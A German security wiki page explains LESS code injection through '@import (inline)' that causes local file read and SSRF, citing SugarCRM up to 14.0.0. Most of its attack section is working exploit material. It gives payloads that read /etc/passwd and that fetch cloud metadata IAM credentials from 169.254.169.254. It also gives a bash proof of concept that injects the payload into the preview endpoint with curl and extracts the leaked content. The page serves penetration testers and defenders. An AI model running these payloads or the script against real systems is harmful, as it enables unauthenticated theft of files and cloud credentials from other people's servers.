LESS Code Injection führt zu SSRF & Local File Read

LESS ist ein populärer CSS-Präprozessor, der Variablen, Mixins, Funktionen und die mächtige @import-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine die in @import referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten ("inline"), wenn die (inline)-Option verwendet wird.

Wenn eine Anwendung user-controlled input in einen String konkateniniert, der später vom LESS-Compiler geparst wird, kann ein Angreifer inject arbitrary LESS code. Durch Missbrauch von @import (inline) kann der Angreifer den Server dazu zwingen, folgende Ressourcen abzurufen:

  • Lokale Dateien über das file://-Protokoll (information disclosure / Local File Inclusion).
  • Remote-Ressourcen in internen Netzwerken oder Cloud-Metadata-Services (SSRF).

Diese Technik wurde in realen Produkten beobachtet, z. B. in SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).

Exploitation

  1. Identifiziere einen Parameter, der direkt in einen Stylesheet-String eingebettet ist, der von der LESS-Engine verarbeitet wird (z. B. ?lm= in SugarCRM).
  2. Schließe die aktuelle Anweisung und injiziere neue Direktiven. Die gängigsten Primitive sind:
  • ; – beendet die vorherige Deklaration.
  • } – schließt den vorherigen Block (falls erforderlich).
  1. Verwende @import (inline) '<URL>'; um beliebige Ressourcen zu lesen.
  2. Optional injiziere einen marker (data: URI) nach dem Import, um das Extrahieren des abgerufenen Inhalts aus dem kompilierten CSS zu erleichtern.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Der Inhalt von /etc/passwd wird in der HTTP-Antwort unmittelbar vor dem Marker @@END@@ erscheinen.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Automatisierter PoC (SugarCRM-Beispiel)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Reale Fälle

ProduktVerwundbarer EndpointAuswirkung
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Nicht authentifizierte SSRF & local file read

Referenzen